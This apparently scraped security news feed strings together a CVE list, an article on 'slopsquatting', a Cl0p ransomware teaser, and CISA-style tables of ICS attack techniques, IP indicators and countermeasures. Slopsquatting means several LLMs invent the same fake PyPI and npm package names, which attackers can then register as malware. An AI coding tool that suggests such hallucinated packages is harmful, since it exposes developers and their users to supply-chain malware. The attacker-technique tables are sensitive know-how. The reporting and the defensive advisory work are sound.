CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53038,
CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53042,
CVE-2026-53043, CVE-2026-53044, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53051, CVE-2026-53052, CVE-2026-53053, CVE-2026-53054,
CVE-2026-53055, CVE-2026-53056, CVE-2026-53057, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53067, CVE-2026-53068, CVE-2026-53069, CVE-2026-53070,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53076, CVE-2026-53077, CVE-2026-53078,
CVE-2026-53079, CVE-2026-53080, CVE-2026-53081, CVE-2026-53082,
CVE-2026-53083, CVE-2026-53084, CVE-2026-53085, CVE-2026-53086,
CVE-2026-53087, CVE-2026-53088, CVE-2026-53089, CVE-2026-53090,
CVE-2026-53091, CVE-2026-53092, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53095, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53099, CVE-2026-53100, CVE-2026-53101, CVE-2026-53102,
CVE-2026-53103, CVE-2026-53104, CVE-2026-53105, CVE-2026-53106,
CVE-2026-53107, CVE-2026-53108, CVE-2026-53109, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53113, CVE-2026-53114,
CVE-2026-53115, CVE-2026-53116, CVE-2026-53117, CVE-2026-53118,
CVE-2026-53119, CVE-2026-53120, CVE-2026-53121, CVE-2026-53122,
CVE-2026-53123, CVE-2026-53124, CVE-2026-53125, CVE-2026-53126,
CVE-2026-53127, CVE-2026-53128, CVE-2026-53129, CVE-2026-53130,
CVE-2026-53174, CVE-2026-53277, CVE-2026-53278, CVE-2026-53279,
CVE-2026-53280, CVE-2026-53281, CVE-2026-53282, CVE-2026-53283,
CVE-2026-53284, CVE-2026-53285, CVE-2026-53286, CVE-2026-53287,
CVE-2026-53288, CVE-2026-53289, CVE-2026-53290, CVE-2026-53291,
CVE-2026-53292, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53297, CVE-2026-53298, CVE-2026-53299,
CVE-2026-53300, CVE-2026-53301, CVE-2026-53302, CVE-2026-53303,
CVE-2026-53304, CVE-2026-53305, CVE-2026-53306, CVE-2026-53307,
CVE-2026-53308, CVE-2026-53309, CVE-2026-53310, CVE-2026-53311,
CVE-2026-53312, CVE-2026-53313, CVE-2026-53314, CVE-2026-53315,
CVE-2026-53316, CVE-2026-53317, CVE-2026-53318, CVE-2026-53319,
CVE-2026-53320, CVE-2026-53321, CVE-2026-53322, CVE-2026-53323,
CVE-2026-53324, CVE-2026-53357, CVE-2026-53358, CVE-2026-53360,
CVE-2026-53364, CVE-2026-53365, CVE-2026-53367, CVE-2026-53368,
CVE-2026-53369, CVE-2026-53370, CVE-2026-53371, CVE-2026-53372,
CVE-2026-53373, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53377, CVE-2026-53378, CVE-2026-53379, CVE-2026-53380,
CVE-2026-63837, CVE-2026-63838, CVE-2026-63839, CVE-2026-63840,
CVE-2026-63841, CVE-2026-63842, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63849, CVE-2026-63850, CVE-2026-63851, CVE-2026-63852,
CVE-2026-63853, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63857, CVE-2026-63858, CVE-2026-63859, CVE-2026-63860,
CVE-2026-63861, CVE-2026-63862, CVE-2026-63863, CVE-2026-63864,
CVE-2026-63865, CVE-2026-63866, CVE-2026-63875, CVE-2026-63876,
CVE-2026-63877, CVE-2026-63878, CVE-2026-63879, CVE-2026-63880,
CVE-2026-63881, CVE-2026-63882, CVE-2026-63883, CVE-2026-63884,
CVE-2026-63886, CVE-2026-63887, CVE-2026-63888, CVE-2026-63889,
CVE-2026-63890, CVE-2026-63891, CVE-2026-63892, CVE-2026-63893,
CVE-2026-63894, CVE-2026-63895, CVE-2026-63896, CVE-2026-63897,
CVE-2026-63898, CVE-2026-63899, CVE-2026-63900, CVE-2026-63901,
CVE-2026-63902, CVE-2026-63903, CVE-2026-63904, CVE-2026-63905,
CVE-2026-63906, CVE-2026-63907, CVE-2026-63908, CVE-2026-63910,
CVE-2026-63911, CVE-2026-63912, CVE-2026-63913, CVE-2026-63914,
CVE-2026-63915, CVE-2026-63916, CVE-2026-63917, CVE-2026-63918,
CVE-2026-63919, CVE-2026-63920, CVE-2026-63921, CVE-2026-63922,
CVE-2026-63923, CVE-2026-63924, CVE-2026-63925, CVE-2026-63926,
CVE-2026-63927, CVE-2026-63928, CVE-2026-63929, CVE-2026-63930,
CVE-2026-63931, CVE-2026-63932, CVE-2026-63933, CVE-2026-63934,
CVE-2026-63935, CVE-2026-63936, CVE-2026-63937, CVE-2026-63938,
CVE-2026-63939, CVE-2026-63940, CVE-2026-63941, CVE-2026-63942,
CVE-2026-63943, CVE-2026-63944, CVE-2026-63945, CVE-2026-63946,
CVE-2026-63947, CVE-2026-63948, CVE-2026-63949, CVE-2026-63950,
CVE-2026-63951, CVE-2026-63952, CVE-2026-63953, CVE-2026-63954,
CVE-2026-63955, CVE-2026-63956, CVE-2026-63957, CVE-2026-63958,
CVE-2026-63959, CVE-2026-63960, CVE-2026-63961, CVE-2026-63962,
CVE-2026-63963, CVE-2026-63964, CVE-2026-63965, CVE-2026-63966,
CVE-2026-63967, CVE-2026-63968, CVE-2026-63969, CVE-2026-63970,
CVE-2026-63971, CVE-2026-63972, CVE-2026-63973, CVE-2026-63974,
CVE-2026-63975, CVE-2026-63976, CVE-2026-63977, CVE-2026-63978,
CVE-2026-63979, CVE-2026-63980, CVE-2026-63981, CVE-2026-63982,
CVE-2026-63983, CVE-2026-63984, CVE-2026-63985, CVE-2026-63986,
CVE-2026-63987, CVE-2026-63988, CVE-2026-63989, CVE-2026-63990,
CVE-2026-63991, CVE-2026-63992, CVE-2026-63993, CVE-2026-63994,
CVE-2026-63995, CVE-2026-63996, CVE-2026-63997, CVE-2026-63998,
CVE-2026-63999, CVE-2026-64000, CVE-2026-64001, CVE-2026-64002,
CVE-2026-64003, CVE-2026-64004, CVE-2026-64005, CVE-2026-64006,
CVE-2026-64007, CVE-2026-64008, CVE-2026-64009, CVE-2026-64010,
CVE-2026-64011, CVE-2026-64012, CVE-2026-64013, CVE-2026-64014,
CVE-2026-64015, CVE-2026-64017, CVE-2026-64018, CVE-2026-64019,
CVE-2026-64020, CVE-2026-64021, CVE-2026-64022, CVE-2026-64023,
CVE-2026-64024, CVE-2026-64025, CVE-2026-64026, CVE-2026-64027,
CVE-2026-64029, CVE-2026-64030, CVE-2026-64031, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64035, CVE-2026-64036,
CVE-2026-64037, CVE-2026-64038, CVE-2026-64039, CVE-2026-64040,
CVE-2026-64041, CVE-2026-64042, CVE-2026-64043, CVE-2026-64044,
CVE-2026-64045, CVE-2026-64046, CVE-2026-64047, CVE-2026-64048,
CVE-2026-64049, CVE-2026-64050, CVE-2026-64051, CVE-2026-64052,
CVE-2026-64053, CVE-2026-64054, CVE-2026-64055, CVE-2026-64056,
CVE-2026-64057, CVE-2026-64058, CVE-2026-64059, CVE-2026-64060,
CVE-2026-64061, CVE-2026-64062, CVE-2026-64063, CVE-2026-64064,
CVE-2026-64065, CVE-2026-64066, CVE-2026-64067, CVE-2026-64068,
CVE-2026-64069, CVE-2026-64070, CVE-2026-64071, CVE-2026-64072,
CVE-2026-64073, CVE-2026-64074, CVE-2026-64075, CVE-2026-64076,
CVE-2026-64077, CVE-2026-64078, CVE-2026-64079, CVE-2026-64080,
CVE-2026-64081, CVE-2026-64082, CVE-2026-64083, CVE-2026-64084,
CVE-2026-64085, CVE-2026-64086, CVE-2026-64087, CVE-2026-64088,
CVE-2026-64089, CVE-2026-64090, CVE-2026-64091, CVE-2026-64093,
CVE-2026-64094, CVE-2026-64095, CVE-2026-64096, CVE-2026-64097,
CVE-2026-64098, CVE-2026-64099, CVE-2026-64100, CVE-2026-64101,
CVE-2026-64102, CVE-2026-64103, CVE-2026-64104, CVE-2026-64105,
CVE-2026-64106, CVE-2026-64107, CVE-2026-64108, CVE-2026-64109,
CVE-2026-64110, CVE-2026-64111, CVE-2026-64112, CVE-2026-64113,
CVE-2026-64114, CVE-2026-64115, CVE-2026-64116, CVE-2026-64117,
CVE-2026-64118, CVE-2026-64119, CVE-2026-64120, CVE-2026-64121,
CVE-2026-64122, CVE-2026-64123, CVE-2026-64124, CVE-2026-64125,
CVE-2026-64126, CVE-2026-64127, CVE-2026-64128, CVE-2026-64129,
CVE-2026-64130, CVE-2026-64131, CVE-2026-64132, CVE-2026-64133,
CVE-2026-64134, CVE-2026-64135, CVE-2026-64136, CVE-2026-64137,
CVE-2026-64138, CVE-2026-64140, CVE-2026-64141, CVE-2026-64142,
CVE-2026-64143, CVE-2026-64144, CVE-2026-64145, CVE-2026-64146,
CVE-2026-64147, CVE-2026-64148, CVE-2026-64149, CVE-2026-64150,
CVE-2026-64151, CVE-2026-64152, CVE-2026-64153, CVE-2026-64154,
CVE-2026-64155, CVE-2026-64156, CVE-2026-64157, CVE-2026-64158,
CVE-2026-64159, CVE-2026-64160, CVE-2026-64161, CVE-2026-64162,
CVE-2026-64163, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64167, CVE-2026-64168, CVE-2026-64169, CVE-2026-64170,
CVE-2026-64171, CVE-2026-64172, CVE-2026-64173, CVE-2026-64174,
CVE-2026-64175, CVE-2026-64176, CVE-2026-64177, CVE-2026-64178,
CVE-2026-64179, CVE-2026-64180, CVE-2026-64181, CVE-2026-64182,
CVE-2026-64183, CVE-2026-64184, CVE-2026-64185, CVE-2026-64186)


Top AIs invent same fake PyPl and npm package names
Fri, 24 Jul 2026 12:56:02 +0200

		
					  
						




Enterprise software developers continue to be in danger of falling victim to slopsquatting, where AI coding tools hallucinate the existence of nonexistent libraries and hackers create malicious packages in response.



The top AI coding tools are remarkably consistent in their hallucinations: Researcher Aleksandr Churilov found the same 127 fake package names generated by five different LLMs.



Slopsquatting is a relatively new form of malware attack that involves the creation of malicious packages in response to the hallucinations of AI coding tools, causing the malicious packages to be incorporated into legitimate applications.



Churilov set out his findings in a research paper, The Range Shrinks, the Threat Remains: Re-evaluating LLM Package Hallucinations on the 2026 Frontier-Model Cohort, which is yet to be peer-reviewed. He found 127 hallucinated package names were shared across Claude Sonnet 4.6, Claude Haiku 4.5, GPT-5.4-mini, Gemini 2.5 Pro, and DeepSeek V3.2.



 As of April this year, 53 of those names — 41 on the PyPI software repository and 12 on npm —are still available for registration.



According to the study, there are two reasons for this amount of conformity in the output of the models. First, models may learn the same incorrect package references from shared public training material, such as tutorials and documentation.



Second, they may independently extrapolate plausible names from ecosystem conventions. In this way, they could produce names that look correct, even if they don’t actually exist.



While Churilov’s research will worry CISOs and security-conscious developers, there is some relief. The research has not yet found any evidence that any of the remaining 53 names have been registered maliciously, nor used in an attack.



This article first appeared on InfoWorld.



Cl0p ransomware launches new large-scale data theft campaign
Fri, 24 Jul 2026 12:56:00 +0200
Hackers believed to be Cl0p ransomware operatives are exploiting a critical flaw in PTC Windchill and FlexPLM to deploy web shells and steal sensitive enterprise data. While the threat actor has not been identified with absolute certainty, the observed tactics closely match those used in previous data theft campaigns attributed to the Cl0p ransomware gang. …
The post Cl0p ransomware launches new large-scale data theft campaign appeared first on CyberInsider.

Technique Title	ID	Use
Gather Victim Organization Information	T1591	Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.
Active Scanning: Vulnerability Scanning	T1595.002	Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.

Technique Title	ID	Use
Default Credentials	T0812	Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.
Remote Services	T0886	Threat actors leverage VNC services to access system HMI devices.
Remote Services: VNC	T1021.005	Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.

Technique Title	ID	Use
Device Restart/Shutdown	T0816	While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.
Alarm Suppression	T0878	Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.
Change Credential	T0892	Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.

Technique Title	ID	Use
Modify Parameter	T0836	Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.
Unauthorized Command Message	T0855	Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.

Technique Title	ID	Use
Loss of Productivity and Revenue	T0828	Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.
Loss of View	T0829	Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely.
Manipulation of Control	T0831	Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.

Title	Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure
Original Publication	April 7, 2026
Last Update	July 22, 2026
Executive Summary	The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.
Last Update Description	This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.
Affected Products	Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.
Key Actions	Install PLCs consistent with manufacturers' guidelines and security best practices. Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action. Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including `44818`, `2222`, `102`, and `502`, especially traffic originating from foreign hosting providers. For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.
Indicators of Compromise	For a downloadable copy of July 22, 2026 IOCs, see: AA26-097A STIX XML (July 2026) (29 KB) AA26-097A STIX JSON (July 2026) (30 KB) For a downloadable copy of historical April 7, 2026 IOCs, see: AA26-097A STIX XML (36 KB) AA26-097A STIX JSON (12 KB)
Intended Audience	Organizations: Critical Infrastructure Sectors: Government Services and Facilities, Water and Wastewater Systems (WWS), and Energy Roles: Integrators, asset owners, defensive cybersecurity analysts, OT cybersecurity engineers, cybersecurity architects, secure systems developer

Indicator	Beginning of Actor Association	End of Actor Association
185.82.73[.]175	September 2025	February 2026
141.11.164[.]153	January 2026	June 2026
175.110.121[.]42	February 2026	March 2026
175.110.121[.]39	February 2026	March 2026
175.110.121[.]41	February 2026	March 2026
175.110.121[.]107	February 2026	February 2026
192.142.54[.]79	May 2026	June 2026
84.200.205[.]165	May 2026	June 2026
185.225.17[.]225	June 2026	July 2026
79.133.46[.]209	July 2026	July 2026
88.80.150[.]199	July 2026	July 2026
88.80.150[.]200	July 2026	July 2026
88.80.150[.]202	July 2026	July 2026

Indicator	Beginning of Actor Association	End of Actor Association
185.82.73[.]162	January 2025	March 2026
185.82.73[.]164	January 2025	March 2026
185.82.73[.]165	January 2025	March 2026
185.82.73[.]167	January 2025	March 2026
185.82.73[.]168	January 2025	March 2026
185.82.73[.]170	January 2025	March 2026
185.82.73[.]171	January 2025	March 2026
135.136.1[.]133	March 2026	March 2026

Technique Title	ID	Use
Commonly Used Port	T0885	The actors leveraged commonly used OT ports to communicate with PLCs.
Remote Access Tools	T1219	The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port `22`.

Technique Title	ID	Use
Active Scanning: Scanning IP Blocks	T1595.001	Scan range of IP addresses
Active Scanning: Vulnerability Scanning	T1595.002	Scan victims for vulnerabilities that can be used during targeting

Technique Title	ID	Use
Acquire Infrastructure: Virtual Private Servers	T1583.003	Leverage VPS as infrastructure
Compromise Infrastructure: Network Devices	T1584.008	Compromise intermediate routers
Obtain Capabilities: Exploits	T1588.005	Use publicly available code to exploit vulnerable devices

Technique Title	ID	Use
Exploit Public-Facing Application	T1190	Exploit publicly known CVEs
Proxy	T1090	Use a connection proxy to direct network traffic

Technique Title	ID	Use
Data from Configuration Repository: SNMP (MIB Dump)	T1602.001	Target MIB to collect network information via SNMP
Data from Configuration Repository: Network Device Configuration Dump	T1602.002	Acquire credentials by collecting network device configurations

Technique Title	ID	Use
Proxy	T1090	Use VPS for C2
Application Layer Protocol	T1071	Open and expose a variety of different services, including TFTP and FTP

Countermeasure Title	ID	Description
Application Configuration Hardening	D3-ACH	Use SNMPv3 and disable SNMPv1 and SNMPv2. Use SNMP allowlisting to restrict access to OIDs and MIBs. Disable Cisco Smart Install.
Message Authentication	D3-MAN	Use SNMPv3 with strong authentication.
Message Encryption	D3-MENCR	Use SNMPv3 to encrypt payloads.
Credential Hardening	D3-CH	Use strong, unique passwords and store them securely.
Platform Monitoring	D3-PM	Monitor for unusual credentials. Monitor SNMP Set-Requests for OIDs targeting sensitive device data.
Network Traffic Filtering	D3-NTF	Use ACLs to only allow management protocols from management devices. Block TFTP, SMI, and SNMP at edge firewalls.
Network Vulnerability Assessment	D3-NVA	Use an attack surface management service.